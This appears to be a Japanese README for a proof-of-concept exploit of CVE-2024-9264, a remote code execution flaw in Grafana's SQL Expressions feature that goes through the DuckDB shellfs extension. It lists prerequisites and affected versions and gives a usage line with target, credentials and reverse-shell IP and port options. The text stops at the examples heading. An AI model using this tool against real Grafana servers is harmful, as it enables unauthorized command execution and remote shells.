CVE-2024-9264-RCE-Exploit: GrafanaのSQL Expressionsを介したRCE

説明

Grafana（CVE-2024-9264）におけるリモートコード実行（RCE）の概念実証です。

このリポジトリには、GrafanaのSQL Expressions機能におけるリモートコード実行（RCE）脆弱性を悪用するPythonスクリプトが含まれています。
不十分な入力サニタイズを利用することで、攻撃者はサーバー上で任意のシェルコマンドを実行できます。
これは、攻撃者がインストールしてロードすることでコマンド実行を可能にするshellfsコミュニティ拡張機能を通じて実現されます。

前提条件

• Viewer権限以上を持つ認証済みのGrafanaユーザー
• DuckDBバイナリがインストールされ、GrafanaのPATHからアクセス可能であること

影響を受けるバージョン

Grafana >= v11.0.0（すべてのv11.x.yが影響を受けます）

使用方法

python3 poc.py [--url <target>] [--username <username>] [--password <password>] [--reverse-ip <IP>] [--reverse-port <PORT>]

例